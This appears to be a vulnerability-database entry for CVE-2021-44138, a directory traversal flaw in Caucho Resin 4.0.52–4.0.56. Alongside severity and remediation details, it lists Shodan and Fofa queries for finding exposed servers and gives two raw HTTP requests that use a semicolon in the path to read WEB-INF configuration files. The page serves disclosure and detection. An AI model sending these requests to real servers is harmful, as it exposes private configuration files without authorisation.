🔙 목록으로 돌아가기

CVE-2021-44138: Caucho Resin >=4.0.52 <=4.0.56 - Directory traversal

TitleCaucho Resin >=4.0.52 <=4.0.56 - Directory traversal
Authorcarrot2
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive data exposure.
RemediationUpgrade Caucho Resin to a version higher than 4.0.56 to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.81625
CVE IDCVE-2021-44138
CWE IDCWE-22
Shodan Queryhtml:"Resin"http.html:"resin"cpe:"cpe:2.3:a:caucho:resin"
Fofa Querybody="resin"
Tags cve2021 cve resin caucho lfi vuln

🔍 Vulnerability Description

There is a Directory traversal vulnerability in Caucho Resin, as distributed in Resin 4.0.52 - 4.0.56, which allows remote attackers to read files in arbitrary directories via a ; in a pathname within an HTTP request.

🌐 HTTP Request

GET /;/WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.1) Gecko/20100101 Firefox/65.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /resin-doc/;/WEB-INF/resin-web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44138.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-44138.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A